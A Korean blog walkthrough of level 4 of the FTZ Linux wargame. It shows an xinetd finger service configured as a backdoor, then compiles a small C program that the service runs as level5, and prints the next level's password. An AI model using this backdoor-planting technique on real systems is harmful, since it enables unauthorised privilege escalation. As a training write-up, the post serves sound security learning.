사자자리
[리눅스 기초] F.T.Z Level 4 본문
[level4@ftz level4]$ ls -al
total 80
drwxr-xr-x 4 root level4 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 50 Feb 24 2002 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level4 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level4 4096 Jun 18 22:24 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
데몬(daemon)
- 시스템과 관련된 작업을 하는 후위 프로세스(background process). 사용자가 직접적으로 제어하지 않는다.
- 대부분의 데몬은 시스템이 부팅되면서 시작한다. 대표적으로 telnet, ftp, http 등이 있다.
- 대부분의 데몬은 시스템과 관련된 작업을 하며, 서비스 요청이 없을 때 idle 상태에 들어간다.
- 대부분의 데몬의 이름 끝에는 'd'를 붙인다.
슈퍼 데몬(super daemon)
- 리눅스 서버에서 서비스되는 다른 여러 데몬들을 제어하며 각각의 서비스들을 연결한다.
- xinetd: 인터넷 슈퍼 데몬. 리눅스 시스템에서 실행되는 데몬의 일종.
백도어(backdoor)
- 인증되지 않은 사용자에 의해 컴퓨터의 기능이 무단으로 사용될 수 있도록 컴퓨터에 몰래 설치된 통신 연결 기능
- 정상적인 인증 절차를 거치지 않고, 컴퓨터와 암호 시스템 등에 접근할 수 있도록 하는 방법
- 시스템 관리자가 일부러 심은 경우, 주로 시스템이 고장났을 때 프로그래머가 접속해 점검하도록 하기 위한 것
[level4@ftz level4]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls -al
total 88
drwxr-xr-x 2 root root 4096 Sep 10 2011 .
drwxr-xr-x 52 root root 4096 Jun 18 22:24 ..
-r--r--r-- 1 root level4 171 Sep 10 2011 backdoor
-rw-r--r-- 1 root root 560 Dec 19 2007 chargen
-rw-r--r-- 1 root root 580 Dec 19 2007 chargen-udp
-rw-r--r-- 1 root root 417 Dec 19 2007 daytime
-rw-r--r-- 1 root root 437 Dec 19 2007 daytime-udp
-rw-r--r-- 1 root root 339 Dec 19 2007 echo
-rw-r--r-- 1 root root 358 Dec 19 2007 echo-udp
-rw-r--r-- 1 root root 317 Dec 19 2007 finger
-rw-r--r-- 1 root root 273 Dec 19 2007 ntalk
-rw-r--r-- 1 root root 359 Dec 19 2007 rexec
-rw-r--r-- 1 root root 376 Dec 19 2007 rlogin
-rw-r--r-- 1 root root 429 Dec 19 2007 rsh
-rw-r--r-- 1 root root 317 Dec 19 2007 rsync
-rw-r--r-- 1 root root 310 Dec 19 2007 servers
-rw-r--r-- 1 root root 312 Dec 19 2007 services
-rw-r--r-- 1 root root 406 Dec 19 2007 sgi_fam
-rw-r--r-- 1 root root 261 Dec 19 2007 talk
-rw-r--r-- 1 root root 305 Sep 10 2011 telnet
-rw-r--r-- 1 root root 495 Dec 19 2007 time
-rw-r--r-- 1 root root 515 Dec 19 2007 time-udp
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
속성 | 값 및 설명 | |
disable | 나열된 서비스 값들이 실행되지 못하도록 지정 enable 속성과 같이 존재하면, enable 속성을 무시 |
|
flags | REUSE | 포트가 사용 중인 경우에서도 재이용할 수 있도록 지원 |
socket_type | stream | stream 기반 서비스 |
wait | yes | 서비스: 단일 스레드 |
no | 서비스: 다중 스레드 | |
user | 서버 프로세스를 실행할 수 있는 사용자의 ID | |
server | 해당 서비스를 실행할 데몬 프로그램의 위치 지정 | |
log_on_failure | 서비스가 리소스 부족으로 시작될 수 없거나, 설정 파일 내의 규칙에 의한 접근이 거부되었을 때, 기록될 값들을 지정 다음 4가지 값을 조합해서 지정할 수 있음 |
|
HOST | 원격 호스트의 IP | |
USERID | 원격 사용자의 ID | |
ATTEMPT | 실패한 시도가 있을 경우 | |
RECORD | 클라이언트에 대한 가능한 정보 |
http://korea.gnu.org/manual/release/finger/finger-ko_3.html
GNU Finger - 고급 사용
Go to the first, previous, next, last section, table of contents. GNU Finger는 다음과 같은 프로그램들의 집합적 이름이다. `finger' 입력된 명령행을 분석하고 finger 서버에 있는 `in.fingerd'에 연결해서 서버로 부터
korea.gnu.org
즉, finger 서비스를 실행하면 level5의 권한으로 /home/level4/tmp/backdoor를 실행한다.
[level4@ftz /]$ cd /home/level4/tmp/
[level4@ftz tmp]$ ls -al
total 8
drwxrwxr-x 2 root level4 4096 Jun 18 22:24 .
drwxr-xr-x 4 root level4 4096 May 7 2002
/home/level4/tmp로 이동했으나 backdoor가 없었다. 없으면 만들자.
[level4@ftz tmp]$ vi backdoor.c
#include <stdio.h>
int main(void){
system("my-pass");
return 0;
}
~
~
~
:wq
[level4@ftz tmp]$ ls -al
total 12
drwxrwxr-x 2 root level4 4096 Jun 18 23:36 .
drwxr-xr-x 4 root level4 4096 May 7 2002 ..
-rw-rw-r-- 1 level4 level4 65 Jun 18 23:36 backdoor.c
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls -al
total 24
drwxrwxr-x 2 root level4 4096 Jun 18 23:39 .
drwxr-xr-x 4 root level4 4096 May 7 2002 ..
-rwxrwxr-x 1 level4 level4 11545 Jun 18 23:39 backdoor
-rw-rw-r-- 1 level4 level4 65 Jun 18 23:36 backdoor.c
gcc 명령어로 소스파일 backdoor.c를 컴파일해서 실행파일 backdoor를 만들었다. (trainer8 참고)
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".
finger 서비스를 시작했다.
'LINUX 기초 > FTZ' 카테고리의 다른 글
[리눅스 기초] F.T.Z Level 5 (0) | 2022.06.26 |
---|---|
[리눅스 기초] F.T.Z Level 3 (0) | 2022.06.18 |
[리눅스 기초] F.T.Z Level 1 ~ Level 2 (0) | 2022.05.24 |
[리눅스 기초] F.T.Z trainer 6 ~ trainer 10 (0) | 2022.05.08 |
[리눅스 기초] F.T.Z trainer 1 ~ trainer 5 (0) | 2022.05.01 |